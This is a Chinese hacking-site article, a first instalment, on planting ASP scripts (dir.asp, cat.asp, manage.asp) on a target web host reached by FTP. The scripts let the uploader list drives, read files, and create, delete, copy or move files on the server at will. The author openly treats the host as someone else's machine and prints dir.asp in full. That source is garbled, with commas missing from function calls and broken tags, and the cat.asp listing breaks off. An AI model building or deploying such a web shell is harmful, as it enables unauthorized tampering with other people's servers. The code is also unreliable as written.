Your Ad Here
首页 | 编程语言 | 网站建设 | 游戏天堂 | 冲浪宝典 | 网络安全 | 操作系统 | 软件时空 | 硬件指南 | 病毒相关 | IT 认证
软讯网络 > 网络安全 > 黑客技术 > 利用ASP实现对Web主机硬盘文件的读写(1)
【标  题】:利用ASP实现对Web主机硬盘文件的读写(1)
【关键字】:Web,文件,ASP,硬盘,AS,ASP,Web
【来  源】:网络

利用ASP实现对Web主机硬盘文件的读写(1)

Your Ad Here ASP的全称是Active Server Page,是由Microsoft公司开发的一种互动的Web应用程序。利用它可以编出很多应用程序,是Web服务更加互动,更符合用户的需求。当然,为了需要,其中也包含了操作文件系统的一些指令和函数.有一个可以用来列出服务器硬盘文件目录的ASP应用程序其文件名为dir.asp,cat.asp,manage.htm和manage.asp。dir.asp是用来显示服务器制定路径的目录文件,cat.asp是用来显示制定文件,manage.htm和manage.asp是用来实现对目录和文件的操作(建立、删除、复制、移动)。其原代码在本文最后。

不过要让服务器执行你说写的ASP命令,首先要把你写的文件放到服务器的根目录下面才可以。我们假设实验的主机是202.192.*.*。首先要将文件传上主机,这点要靠自己的办法了,我是靠FTP来实现的,因为其FTP根目录和Web根目录都是主机上的同一个文件夹。我取得了FTP的完全权限。具体方法大家自己想咯。

首先将写好的文件上传至ftp://202.192.*.*,然后通过访_blank> http://202.192. *.*/dir.asp?pp=c:\ 你可以看到服务器硬盘分区C的根目录下所有目录和文件。改变"pp="后面的参数,就可以看到不同分区的信息。

接下来就是执_blank> http://202.192. *.*/manage.htm 了,这是一个整合了所有文件操作功能的ASP文件管理程序。具体使用大家看到程序就会明白的。这里不多说。

现在你就可以随心所欲的改变服务器的文件了,你想把哪个文件删除就删除,想建立就建立,因为这一切在IIS看来都是正当的要求,它没理由拒绝执行啊,^_^!

各文件源代码

dir.asp

<% @language="vbscript"%>
<%
spp=request.querystring("pp")
'physical path
sup=request.querystring("up")
'url path
mode=request.querystring("mode")
if spp & "" = "" then spp=getpp
if sup & "" = "" then sup=getup
result =dir(sppsup)
function dir(byval sppbyval sup)
if right(spp1) <> "\" then spp=spp&"\"
if right(sup1) <> "/" then sup=sup&"/"
response.write "<font size=4><b>Index of "&spp&"</b></font><br><hr>"
set fso=CreateObject("Scripting.filesystemobject")
set f=fso.getfolder(spp)
set fc=f.files
set ff=f.subfolders
response.write "<table cellpadding=2 cellspacing=2 border=0>"
if mode="drivers" then
set dc=fso.drives
for each d in dc
response.write "<tr><td width=15 valign=middle> </td>"
response.write "<td valign=middle><a href=dir.asp?pp="&d.DriveLette
r &":\>"&d.DriveLetter &":\</a>" &d.DriveType &"<br></td></tr>"
next
set dc=nothing
else
'set parent folder
if right(spp2)=":\" then
response.write "<a href="&chr(34)&"dir.asp?mode=drives"&chr(34)&"><b
>drive list</b></a><br><br>"
else
response.write "<tr><td width=15 valign=middle><img=src=/Article/UploadFiles/
200502/200521713515734.gif></
td>"
response.write "<td valign=middle><a href="&chr(34)&"dir.asp?pp="&f.
parentfolder&"up"&pardir(sup"/")&chr(34)&"><b>parent directory</b></><br><b
r></td></tr>"
end if
for each f in ff
response.write "<tr><te width=15 valign=middle><img src=/Article/UploadFiles/200502/200521713515734.gif></
td>"
response.write "<td valign=middle><a href="&chr(34)&"dir.asp?pp="&sp
p&f.name&"&up="&sup&f.name&chr(34)&">"&f.name&"\</a></td></tr>"
next
for each f in fc
response.write "<tr><td width=15 valign=middle><img src"&image(f
.name)&"></td>"
response.write "<td valign=middle><a href="&chr(34)&"cat.asp?fil
e="&app&f.name&chr(34)&">"&f.name&"</a><br></td></tr>"
next
end if
set ff=nothing
set fso=nothing
set f=nothing
set fc=nothing
end function
function pardir(byval sbyval slash)
pardir=""
if s & ""="" then exit function
s=left(slen(s)-1)
do while true
c=right(s1)
if c = ":" then exit do
if c <> slash then
if len(s) <=0 then exit do
s=left(slen(s)-1)
else
exit do
end if
loop
pardir=s
end function
function image(byval sname)
dim stype: stype=gettype(sname)
image=""
select case stype
case ".htm"
image=image &"sub_2.gif"
case ".html"
image=image &"sub_2.gif"
case ".bak"
image=image &"sub_2.gif"
case ".BAK"
image=image &"sub_2.gif"
case ".gif"
case ".GIF"
image=image &"sub_2.gif"
case ".jpg"
case ".JPG"
image=image &"sub_2.gif"
case ".jpeg"
case ".JPEG"
image=image &"sub_2.gif"
case ".bmp"
image=image &"sub_2.gif"
case ".BMP"
image=image &"sub_2.gif"
case ".txt"
image=image &"sub_2.gif"
case else
image=image &"sub_2.gif"
end select
end function
function getpp 'physical path
dim s
s=request.servervariables("path_translated")
do while true
if instr(s"\") then
if right(s1)="\" then exit do
s=left(slen(s)-1)
else
exit do
end if
loop
getup="http://"&s
end function
function gettype(byval s) 'get file type
do while true
if instr(s".") then
if left(s1)="." then exit do
s=right(slen(s)-1)
else
gettype=""
exit do
end if
loop
gettype=s
end function
%>

cat.asp

<%
response.contenttype="text/plain"
file=request.querystring("file")
if file="" then

利用ASP实现对Web主机硬盘文件的读写(2):【上一篇】
利用PStore获取帐号信息(5):【下一篇】
【相关文章】
  • 利用ASP实现对Web主机硬盘文件的读写(2)
  • 在PHP中使用远程文件(1)
  • 在PHP中使用远程文件(2)
  • ASProtect的加密算法初步分析(1)
  • ASProtect的加密算法初步分析(2)
  • 如何利用HTML格式化你的硬盘
  • 用C语言编写的格式化硬盘的炸弹
  • 如何利用ASP实现邮箱访问(2)
  • 远程文件包含漏洞的利用(1)
  • 远程文件包含漏洞的利用(2)
  • 【随机文章】
  • 防火墙选购指南
  • 网络攻击的一般步骤及实例 (3)
  • 3DS MAX教程:容积雾
  • 2.4.22 V Kernel System call
  • hpux trouble shooting module 1
  • 一个ORACLE分页程序,挺实用的
  • 掌握 Ajax,第 5 部分: 操纵 DOM
  • 印度的软件工业(建议程序员必读)
  • prototype.js 1.4版开发者手册
  • C#操作ini文件的问题
  • 【相关评论】
    没有相关评论
    【发表评论】
    姓名:
    邮件:
    随机码*
    评论*
          
    |  首 页  |  版权声明  |  联系我们   |  网站地图  |
    CopyRight © 2004-2007 软讯网络 All Rigths Reserved.